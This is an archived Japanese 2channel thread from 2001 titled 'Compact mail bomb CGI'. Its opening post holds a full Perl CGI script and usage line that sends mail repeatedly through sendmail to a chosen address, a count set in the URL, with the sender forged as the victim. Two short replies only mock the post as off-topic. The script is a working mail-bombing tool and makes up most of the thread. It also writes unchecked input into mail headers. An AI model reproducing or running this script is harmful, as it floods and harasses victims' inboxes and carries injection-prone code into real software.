5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

コンパクトメルボムCGI

1 :な〜んちゃってハッカー:2001/05/27(日) 00:49 ID:8q2NINpg
#!/usr/local/bin/perl

#初期設定
$sendmail = '/usr/sbin/sendmail -t -i';
$cgi = 'bom.cgi';

#入力されたデータを文字列に代入・コード変換する
@pairs = split(/&/,$ENV{'QUERY_STRING'});
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$FORM{$name} = $value;
}

#送る回数だけループ
for($i=1;$i<=$FORM{'co'};$i++){
open(OUT,"| $sendmail") || exit;
print OUT "To: $FORM{'to'}\n";
print OUT "From: $FORM{'to'}\n";
close(OUT);
}

#送信終了後
print"Content-type: text/html\n\n";
print"<b>送信完了</b><br><br>\n";
print"送信先:$FORM{'to'}<br>\n";
print"送信数:$FORM{'co'}<br>\n";
print"<br><a href=\"$cgi?to=$FORM{'to'}&co=$FORM{'co'}\">再送信♪</a><br>\n";
exit;
------------------------------------------------------------------------------------------
【使い方】
bom.cgi?to=送り先&co=送信数

2 :名無しさん@お腹いっぱい。:2001/05/27(日) 00:52 ID:???
########################### 終了 ###############################

3 :名無しさん@お腹いっぱい。:2001/05/27(日) 00:55 ID:???
初級ネット板で厨房相手に思う存分楽しんでろ

-------------------板違い-------------------

2 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)